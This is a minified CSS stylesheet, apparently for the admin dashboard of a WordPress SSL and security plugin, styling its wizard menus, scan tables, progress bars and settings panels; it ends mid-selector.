.rsssl-warning.rsssl-progress-status{background-color:var(--rsp-color-error);color:var(--rsp-text-color-white)}.rsssl-task-status.rsssl-premium,.rsssl-locked-overlay .rsssl-premium.rsssl-progress-status{background-color:var(--rsp-blue);color:var(--rsp-text-color-white)}.rsssl-task-status.rsssl-loading,.rsssl-locked-overlay .rsssl-loading.rsssl-progress-status{background-color:var(--rsp-grey-200)}@media(max-width:1080px){.rsssl-scroll-container .rsssl-task-status,.rsssl-scroll-container .rsssl-locked-overlay .rsssl-progress-status,.rsssl-locked-overlay .rsssl-scroll-container .rsssl-progress-status{aspect-ratio:1/1;min-width:10px;height:16px;border-radius:100%;text-indent:-9999px;white-space:nowrap}}.rsssl-plusone{min-width:15px;height:16px;font-size:var(--rsp-fs-100);line-height:1.5;display:inline-block;vertical-align:top;box-sizing:border-box;margin:1px 0 -1px 2px;padding:0 5px;border-radius:9px;background-color:#d63638;color:#fff;text-align:center}@media only screen and (max-width:1366px){.rsssl-footer-left{display:none}}.rsssl-datatable-placeholder div{background-color:var(--rsp-grey-300);height:25px}.rsssl-datatable-placeholder div:nth-child(even){background-color:#fff}.rsssl-rest-error-message{margin:30px}.rsssl-rest-error-message ul{list-style:disc;margin:20px}.rsssl-placeholder{box-sizing:border-box;width:100%;text-align:left;margin:0;padding-bottom:24px;color:#1e1e1e;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;border-radius:2px}.rsssl-placeholder{flex-grow:100}.rsssl-placeholder .rsssl-placeholder-line{float:left;width:100%;height:16px;margin-top:12px;border-radius:7px;animation:shine-lines 1.6s infinite linear;background-image:linear-gradient(90deg,#ddd 0,#e8e8e8 40px,#ddd 80px);background-size:600px}.rsssl-placeholder .rsssl-placeholder-line:last-of-type{margin-bottom:24px}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(1){width:99%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(2){width:66%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(3){width:94%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(4){width:75%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(5){width:78%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(6){width:66%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(7){width:67%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(8){width:76%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(9){width:79%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(10){width:85%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(11){width:92%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(12){width:78%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(13){width:65%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(14){width:75%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(15){width:73%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(16){width:92%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(17){width:96%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(18){width:91%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(19){width:99%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(20){width:79%}.rsssl-placeholder .rsssl-placeholder-line ~ .rsssl-placeholder-line{background-color:#ddd}.rsssl-dashboard-placeholder.rsssl-grid-item.rsssl-row-2{grid-row:span 1}.rsssl-settings-placeholder .rsssl-grid-item{min-height:400px}.rsssl-menu-placeholder{min-height:400px}@keyframes shine-lines{0%{background-position:-400px}100%{background-position:220px}}.rsssl .rsssl-other-plugins .rsssl-placeholder{background-color:transparent}.rsssl .rsssl-other-plugins .rsp-logo img{height:20px}.rsssl .rsssl-other-plugins-container{display:flex !important;flex-direction:row;flex-wrap:wrap;margin-bottom:10px;font-size:var(--rsp-fs-300);line-height:1.7;gap:var(--rsp-spacing-xxs)}@media screen and (max-width:992px){.rsssl .rsssl-other-plugins-container{flex-direction:row;overflow:hidden}}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element{width:100%;display:flex;align-content:space-between;justify-content:space-between;gap:10px;--rsp-other-plugins-color:var(---rsp-brand-primary)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-zip-recipes{--rsp-other-plugins-color:var(--rsp-pink)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-burst-statistics{--rsp-other-plugins-color:var(--rsp-green)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-complianz-gdpr{--rsp-other-plugins-color:var(--rsp-blue)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-complianz-terms-conditions{--rsp-other-plugins-color:var(--rsp-black)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-really-simple-ssl{--rsp-other-plugins-color:var(--rsp-yellow)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a{width:max-content;color:var(--rsp-text-color-light);transition:color .3s ease;display:flex;align-items:center;min-width:0;gap:var(--rsp-spacing-xs);text-decoration:none}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover{color:var(--rsp-other-plugins-color);text-decoration:underline}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover .rsssl-bullet{background-color:var(--rsp-other-plugins-color)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover .rsssl-other-plugins-content{text-decoration:underline}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-bullet{transition:background-color .3s ease;background-color:var(--rsp-other-plugins-color)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-other-plugins-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-other-plugin-status{min-width:fit-content}.rsssl-tips_tricks .rsssl-grid-item-header .rsssl-grid-item-controls{height:28px}.rsssl-tips-tricks-container{display:flex !important;flex-direction:row;flex-wrap:wrap;margin-bottom:10px;font-size:var(--rsp-fs-300);line-height:1.7;gap:var(--rsp-spacing-xxs)}@media screen and (max-width:992px){.rsssl-tips-tricks-container{flex-direction:row;overflow:hidden}}.rsssl-tips-tricks-container .rsssl-tips-tricks-element{width:calc(50% - var(--rsp-spacing-xxs))}@media(max-width:768px){.rsssl-tips-tricks-container .rsssl-tips-tricks-element{width:100%}}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a{color:var(--rsp-text-color-light);transition:color .3s ease;display:flex;align-items:center;gap:var(--rsp-spacing-xs);min-width:0;text-decoration:none}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover{color:var(--rsp-brand-primary);text-decoration:underline}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover svg path{fill:var(--rsp-brand-primary)}.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover .rsssl-tips-tricks-content{text-decoration:underline}.rsssl-tips-tricks-container .rsssl-tips-tricks-element .rsssl-bullet{transition:background-color .3s ease;background-color:var(--rsp-grey-300)}.rsssl-tips-tricks-container .rsssl-tips-tricks-element .rsssl-tips-tricks-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.rsssl div[class^=rsssl-wizard-] .rsssl-helplink{color:var(--rsp-text-color)}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item{position:relative;margin-bottom:var(--rsp-grid-gap)}@media(max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item{grid-column:span 4}}.rsssl div[class^=rsssl-wizard-].rsssl-column-2{grid-column:span 2}@media(max-width:1080px){.rsssl div[class^=rsssl-wizard-].rsssl-column-2{grid-column:span 4}}.rsssl div[class^=rsssl-wizard-] .rsssl-locked{position:absolute;z-index:20;top:0;left:0;bottom:0;right:0;background:rgba(255,255,255,0.8);border-radius:var(--rsp-border-radius)}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-shield-overlay{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);display:flex;align-items:center;justify-content:center;height:calc(100px + 2 * var(--rsp-spacing-s));width:calc(200px + 2 * var(--rsp-spacing-s));z-index:19}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked:has(.rsssl-shield-overlay){min-height:calc(100px + 4 * var(--rsp-spacing-s));display:flex;align-items:center;justify-content:center;position:relative;padding:var(--rsp-spacing-s)}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay{z-index:20;position:absolute;display:flex;align-items:center;gap:var(--rsp-spacing-s);background-color:var(--rsp-white);margin:var(--rsp-spacing-s);border-radius:var(--rsp-border-radius-s);box-shadow:var(--rsp-box-shadow);bottom:0;width:calc(100% - 2 * var(--rsp-spacing-s));padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay .rsssl-open{float:left;margin-right:12px}.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay .rsssl-progress-status{float:left;margin-right:20px}.rsssl div[class^=rsssl-wizard-]>div:nth-last-of-type(2){margin-bottom:0;border-radius:var(--rsp-border-radius) var(--rsp-border-radius) 0 0}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container{position:sticky;bottom:0;display:flex;flex-direction:column;z-index:20}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button{box-shadow:none !important}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button:focus,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button:active,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button:focus,.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button:active{box-shadow:none !important}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-scroll-progress-container{display:flex;flex-direction:column;width:100%;height:3px;background-color:var(--rsp-grey-300);overflow:hidden}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-scroll-progress{height:100%;background-color:var(--rsp-blue)}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer{background:var(--rsp-grey-100);border-radius:0 0 var(--rsp-border-radius) var(--rsp-border-radius);border-top:1px solid var(--rsp-grey-300);box-sizing:border-box;align-items:center;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);box-shadow:var(--rsp-box-shadow);gap:var(--rsp-grid-margin);width:100%;min-height:20px;justify-content:space-around}@media screen and (max-width:1280px){.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer>div:last-of-type{margin-left:auto}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-buttons{display:flex;justify-content:flex-end;align-items:center;gap:var(--rsp-spacing-s)}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer .rsssl-legend{display:flex}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer .rsssl-legend span{padding-left:5px}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-upsell-bar .button{display:inline-block !important}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer:empty{display:none}.rsssl-wizard-help{display:flex;flex-wrap:wrap;align-content:flex-start;gap:var(--rsp-spacing-xs)}.rsssl-wizard-help details{font-size:var(--rsp-fs-200)}.rsssl-wizard-help details .rsssl-help-more-info{display:flex;flex-direction:row;margin-top:12px}.rsssl-wizard-help details summary{display:grid;grid-template-columns:1fr auto;justify-content:space-between;font-size:var(--rsp-fs-300);font-weight:600;cursor:pointer}.rsssl-wizard-help details summary::-webkit-details-marker{display:none}.rsssl-wizard-help details summary:first-of-type{list-style-type:none}.rsssl-wizard-help details summary .rsssl-icon{transition:all .3s ease-in-out;transform:rotate(0)}.rsssl-wizard-help code{white-space:pre-line;display:block}.rsssl-wizard-help summary,.rsssl-wizard-help p{font-size:var(--rsp-fs-200)}.rsssl-wizard-help details[open]{padding:var(--rsp-spacing-s) var(--rsp-spacing-m)}.rsssl-wizard-help details[open] summary{padding:0;padding-bottom:var(--rsp-spacing-xs)}.rsssl-wizard-help details[open] summary .rsssl-icon{transform:rotate(180deg)}.rsssl-wizard-help .rsssl-help-header{width:100%;display:flex;padding:10px}.rsssl-wizard-help .rsssl-help-header .rsssl-help-title{font-size:18px}.rsssl-wizard-help .rsssl-help-header .rsssl-help-control{margin-left:auto;cursor:pointer}.rsssl-wizard-help>div{flex-grow:1;width:100%}.rsssl-wizard-help-notice{width:100%;background:var(--rsp-background-block-color);box-shadow:var(--rsp-box-shadow);border-radius:var(--rsp-border-radius);border-radius:var(--rsp-border-radius-s);height:fit-content;background-color:var(--rsp-dark-blue-faded)}.rsssl-wizard-help-notice.rsssl-warning{background-color:var(--rsp-red-faded)}.rsssl-wizard-help-notice.rsssl-open{background-color:var(--rsp-yellow-faded)}.rsssl-wizard-help-notice summary,.rsssl-wizard-help-notice p{padding:var(--rsp-spacing-s) var(--rsp-spacing-m)}.rsssl-wizard-menu{height:fit-content;background:none !important;box-shadow:none !important}.rsssl-wizard-menu .rsssl-grid-item-header{padding-left:var(--rsp-spacing-xs)}.rsssl-wizard-menu .rsssl-grid-item-content{padding:0;padding-bottom:var(--rsp-spacing-l)}.rsssl-wizard-menu-items>.rsssl-menu-item>a{font-weight:600 !important;padding-inline:var(--rsp-spacing-xs) !important}.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-active{border-radius:var(--rsp-border-radius-s);background:var(--rsp-yellow-faded);box-shadow:var(--rsp-box-shadow)}.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-active a:hover{text-decoration:none}.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-menu-item a span{font-weight:600}.rsssl-wizard-menu-items .rsssl-menu-item a{display:flex;align-items:center;gap:var(--rsp-spacing-xs);text-decoration:none;color:var(--rsp-text-color);font-size:var(--rsp-fs-400);padding-block:var(--rsp-spacing-xs);transition:all .2s ease-in-out;padding-left:var(--rsp-spacing-xs)}.rsssl-wizard-menu-items .rsssl-menu-item a:hover{text-decoration:underline}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-active>a{font-weight:600}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-active a:focus{box-shadow:none !important}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured.rsssl-active .rsssl-menu-item-beta-pill{color:var(--rsp-dark-blue)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a{flex-wrap:wrap}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a .rsssl-menu-item-featured-pill{background:var(--rsp-green);color:var(--rsp-text-color-white);padding:4px 8px;border-radius:var(--rsp-border-radius-xs);font-size:var(--rsp-fs-100)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a .rsssl-menu-item-beta-pill{color:var(--rsp-dark-blue)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new .rsssl-menu-item-new-pill{background:var(--rsp-yellow);color:var(--rsp-text-color-dark);padding:4px 8px;border-radius:var(--rsp-border-radius-xs);font-size:var(--rsp-fs-100)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new.rsssl-active .rsssl-menu-item-new-pill{color:var(--rsp-text-color-dark)}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new a{flex-wrap:wrap}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-premium a{flex-wrap:wrap}.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-premium a .rsssl-menu-item-featured-pill{background:var(--rsp-dark-blue);color:var(--rsp-text-color-white);padding:2px 9px;border-radius:var(--rsp-border-radius);font-size:var(--rsp-fs-100)}.rsssl-wizard-menu-items .rsssl-submenu-item a{padding-left:calc(var(--rsp-spacing-xs) + var(--rsp-spacing-s)) !important;font-size:var(--rsp-fs-300)}.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a{text-decoration:none;position:relative}.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a span{color:initial}.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a::before{content:"•";color:var(--rsp-dark-blue);font-size:3em;position:absolute;left:var(--rsp-spacing-xxs) !important;margin-bottom:7px}html{scroll-behavior:smooth}.rsssl div[class^=rsssl-wizard-] .components-flex{display:flex;flex-direction:row;align-items:center;justify-content:space-between}.rsssl div[class^=rsssl-wizard-] .components-flex .components-flex-item label{margin:0}.rsssl div[class^=rsssl-wizard-] .components-flex .rsssl-tooltip{flex-grow:1}.rsssl div[class^=rsssl-wizard-] .components-flex .components-input-control__container{max-width:max-content}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-content label{font-size:var(--rsp-fs-300);font-weight:400;line-height:1.5;text-transform:unset;box-sizing:border-box;display:inherit;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.rsssl div[class^=rsssl-wizard-] .components-base-control__field{margin-bottom:0}.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-base-control__field,.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-flex{display:flex;flex-direction:row-reverse;align-items:center;justify-content:space-between;width:100%}.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-base-control__field .components-form-toggle,.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-flex .components-form-toggle{margin-right:0}.rsssl div[class^=rsssl-wizard-] select option{font-size:var(--rsp-fs-300)}.rsssl div[class^=rsssl-wizard-] .components-form-toggle.is-checked .components-form-toggle__track{background-color:var(--rsp-dark-blue)}.rsssl div[class^=rsssl-wizard-] input.components-form-toggle__input[type=checkbox]:disabled{background:var(--rsp-grey-100);opacity:.7}.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item .rsssl-grid-item-content{padding:var(--rsp-spacing-xs) 0}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap .rsssl-comment{font-style:italic}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro{padding-block:var(--rsp-spacing-s);padding-inline:var(--rsp-spacing-l);overflow:hidden}@media screen and (max-width:1280px){.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro{padding-inline:var(--rsp-spacing-m)}}@media screen and (max-width:1080px){.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro{padding-inline:var(--rsp-spacing-s)}}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap>.rsssl-field-wrap,.rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro>.rsssl-field-wrap{padding:0}.rsssl div[class^=rsssl-wizard-] .rsssl-field-button{display:flex;justify-content:space-between;flex-wrap:wrap;align-items:center}.rsssl .rsssl-highlight{background-color:transparent;border-left:4px solid var(--rsp-green);-o-animation:fadeIt 3s ease-in-out;animation:fadeIt 3s ease-in-out;scroll-margin-top:100px;scroll-padding-top:100px}.rsssl .rsssl-block-highlight{border:0;-o-animation:pulse 2s infinite;animation:pulse 2s infinite}@-webkit-keyframes pulse{0%{-webkit-box-shadow:0 0 0 0 var(--rsp-green)}70%{-webkit-box-shadow:0 0 0 10px var(--rsp-green-faded)}100%{-webkit-box-shadow:0 0 0 0 var(--rsp-green-faded)}}@keyframes pulse{0%{-moz-box-shadow:0 0 0 0 var(--rsp-green);box-shadow:0 0 0 0 var(--rsp-green)}70%{-moz-box-shadow:0 0 0 10px var(--rsp-green-faded);box-shadow:0 0 0 10px var(--rsp-green-faded)}100%{-moz-box-shadow:0 0 0 0 var(--rsp-green-faded);box-shadow:0 0 0 0 var(--rsp-green-faded)}}@-o-keyframes fadeIt{0%{background-color:transparent}30%{background-color:var(--rsp-green-faded)}100%{border-right:0;background-color:inherit}}@keyframes fadeIt{0%{background-color:transparent;border-right:0}30%{background-color:var(--rsp-green-faded)}100%{background-color:inherit}}.rsssl-email-verified{position:absolute;bottom:23px;right:35px}.rsssl-ip-verified{position:absolute;bottom:8px;right:6px}.rsssl-license .rsssl-task-element{padding-top:var(--rsp-spacing-s);padding-bottom:0}.rsssl-license .rsssl-license-field{display:flex}.input-container{position:relative;display:inline-block;width:100%}input.rsssl-input.full{width:100%;padding-right:40px}input.rsssl-input.rsssl-error{border:2px solid var(--rsp-red);outline:0}input.rsssl-input.rsssl-error:focus{border-color:var(--rsp-red) !important}input.rsssl-input.rsssl-success{border:2px solid var(--rsp-green);outline:0}input.rsssl-input.rsssl-success:focus{border-color:var(--rsp-green) !important}.wp-core-ui select{flex-grow:1 !important;max-width:33%}.icon-button{position:absolute;right:10px;top:50%;transform:translateY(-50%);border:0;background:0;cursor:pointer}.rsssl-group-filter{min-width:25%;max-width:100% !important}.rsssl .components-snackbar-list.edit-site-notices{width:max-content;position:fixed;bottom:var(--rsp-spacing-m);right:var(--rsp-spacing-l)}.rsssl .components-snackbar-list.edit-site-notices>div{margin-left:auto}.rsssl .components-snackbar-list.edit-site-notices .components-snackbar{background:var(--rsp-background-block-color);box-shadow:var(--rsp-box-shadow);border-radius:var(--rsp-border-radius);color:var(--rsp-color-success);background-color:#fff;font-weight:700;font-size:14px}.rsssl-mixed-content-scan .rsssl-mixed-content-placeholder{height:250px}.rsssl-mixed-content-scan .rsssl-mixed-content-placeholder div{background-color:var(--rsp-grey-200);margin:10px 0;height:20px}.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell[data-column-id="2"]{display:grid}.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell{min-width:110px}.rsssl-mixed-content-scan .rsssl-progress-container .rsssl-progress-bar{border-radius:5px;height:20px;background-color:var(--rsp-green)}.rsssl-mixed-content-scan .rsssl-task-status,.rsssl-mixed-content-scan .rsssl-locked-overlay .rsssl-progress-status,.rsssl-locked-overlay .rsssl-mixed-content-scan .rsssl-progress-status{min-width:min-content}.rsssl-mixed-content-scan .rsssl-task-status.rsssl-warning,.rsssl-mixed-content-scan .rsssl-locked-overlay .rsssl-warning.rsssl-progress-status,.rsssl-locked-overlay .rsssl-mixed-content-scan .rsssl-warning.rsssl-progress-status{background-color:var(--rsp-yellow);color:var(--rsp-text-color)}.rsssl-mixed-content-scan button.button{line-height:1.5;min-height:10px}.rsssl-mixed-content-scan .rsssl-grid-item-content-footer{display:flex;gap:var(--rsp-spacing-s)}.rsssl-mixed-content-scan .rsssl-current-scan-action,.rsssl-mixed-content-scan .rsssl-mixed-content-description{margin:10px 5px;font-size:var(--rsp-fs-300)}.rsssl-learningmode-placeholder{height:150px}.rsssl-learningmode-placeholder div{background-color:var(--rsp-grey-200);margin:10px 0;height:20px}.rsssl-learning-mode-delete{cursor:pointer;background:0;border:0;font-size:1.5em;font-weight:700}.rsssl-locked-overlay .rsssl-open{float:left;margin-right:12px}.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-completed,.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-enforced{background-color:var(--rsp-color-success);color:#fff}.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode{background-color:var(--rsp-color-open)}.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-error{background-color:var(--rsp-color-error);color:#fff}.rsssl-locked-overlay .rsssl-progress-status.rsssl-disabled,.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-disabled{background-color:var(--rsp-color-disabled)}.rsssl-learning-mode-footer{display:flex;align-items:center;justify-content:flex-start;gap:var(--rsp-spacing-s)}.rsssl-learning-mode-footer select{margin-left:auto}.rsssl-learning-mode-footer label{display:flex;align-items:center}.rsssl-learning-mode-footer label input{margin-top:0}.rsssl-lets-encrypt-tests{margin:var(--rsp-spacing-xs) var(--rsp-spacing-xl)}.rsssl-lets-encrypt-tests .rsssl-features ul{display:flex;list-style-type:none;padding:0;margin:0}.rsssl-lets-encrypt-tests .rsssl-features ul .rsssl-checkbox-items{display:flex;flex-direction:column;align-items:flex-start;margin-right:var(--rsp-spacing-l)}.rsssl-lets-encrypt-tests .rsssl-progress-bar{padding-block:0;margin-bottom:var(--rsp-spacing-m)}.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress{overflow:hidden;height:var(--rsp-spacing-m);border-radius:5px;background-color:var(--rsp-grey-200)}.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress .rsssl-bar{height:100%;background-color:var(--rsp-color-success)}.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress .rsssl-bar.rsssl-orange{background-color:var(--rsp-color-warning)}.rsssl-lets-encrypt-tests p{margin-bottom:var(--rsp-spacing-m)}.rsssl-lets-encrypt-tests .rsssl-progress-text{display:flex;align-items:center;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);padding-block:0;padding-top:var(--rsp-spacing-xs)}@media screen and (max-width:1280px){.rsssl-lets-encrypt-tests .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-lets-encrypt-tests .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-percentage{font-size:32px;font-weight:700}.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-text-span{margin-left:35px;font-size:18px;font-weight:600}.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-text-span a{margin-left:3px}.rsssl-lets-encrypt-tests ul li{display:flex;margin-bottom:15px}.rsssl-lets-encrypt-tests ul li .rsssl-icon{margin-right:7px}.rsssl-lets-encrypt-tests ul li ul li:before{background-color:var(--rsp-grey-500);color:#fff;height:6px;width:6px;border-radius:50%;content:"";position:absolute;margin-top:7px;margin-left:-19px}.rsssl-lets-encrypt-tests .rsssl-test-results ul li{display:block}.rsssl-lets-encrypt-tests .rsssl-test-results h4{margin:var(--rsp-spacing-m) 0}.rsssl-lets-encrypt-tests .rsssl-test-results a+button{margin-left:var(--rsp-spacing-m)}.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-certificate-data{display:none}.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div{display:flex;flex-direction:row;margin-right:20px}.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div .rsssl-dns-domain,.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div .rsssl-dns-field{margin-right:var(--rsp-spacing-m);width:50%}.rsssl-lets-encrypt-tests .rsssl-modal-subtitle{display:none}.rsssl-lets-encrypt-tests .components-toggle-control{margin:20px 0}.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rdt_TableCell,.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rdt_TableCol{min-width:fit-content}.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rsssl-locked .rsssl-shield-overlay{top:calc(100% - 300px)}.rsssl-vulnerability-action a.button{margin-left:10px}.rsssl-processing{opacity:.5}.rsssl-vulnerabilities_measures-overview .allowRowEvents .wp-core-ui select{max-width:100%}.rsssl-vulnerabilities_measures-overview .rdt_TableCell:nth-child(2) select{max-width:100%}.rsssl-vulnerabilities_measures .rsssl-locked-overlay input[type=checkbox]{margin-top:0}.rsssl-404_blocking .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-user_agents .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-content_security_policy_source_directives .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_block_list_listing .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-two_fa_users .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_list_listing .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-vulnerabilities_overview .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-permissions_policy .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_white_list_listing .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-firewall_logs_content .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_country .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_users .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-mixed-content-scan .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-content_security_policy .rsssl-field-wrap nav.rdt_Pagination>div>svg,.rsssl-hardening-xml .rsssl-field-wrap nav.rdt_Pagination>div>svg{display:none !important}.rsssl-404_blocking 